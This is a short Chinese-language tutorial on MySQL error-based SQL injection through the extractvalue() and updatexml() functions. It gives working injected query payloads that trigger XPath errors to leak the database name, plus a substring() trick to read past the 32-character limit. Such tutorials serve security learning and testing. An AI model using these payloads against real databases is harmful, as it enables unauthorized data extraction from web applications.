基于extractvalue()和updatexml()的报错注入

extractvalue()函数

EXTRACTVALUE (XML_document, XPath_string); 

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 
第二个参数：XPath_string (Xpath格式的字符串). 
作用：从目标XML中返回包含所查询值的字符串

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

例如

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

也可以使用concat()函数进行拼接

例如

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database() ) )))

当故意写入语法错误时

例如

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

可以看出，以~开头的内容不是xml格式的语法，报错，但是会显示无法识别的内容是什么，这样就达到了目的。

有一点需要注意，extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次查看32位

例如查询前五位

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))

---

updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc 
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。 
第三个参数：new_value，String格式，替换查找到的符合条件的数据 
作用：改变文档中符合条件的节点的值

利用方法和上面的函数类似

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))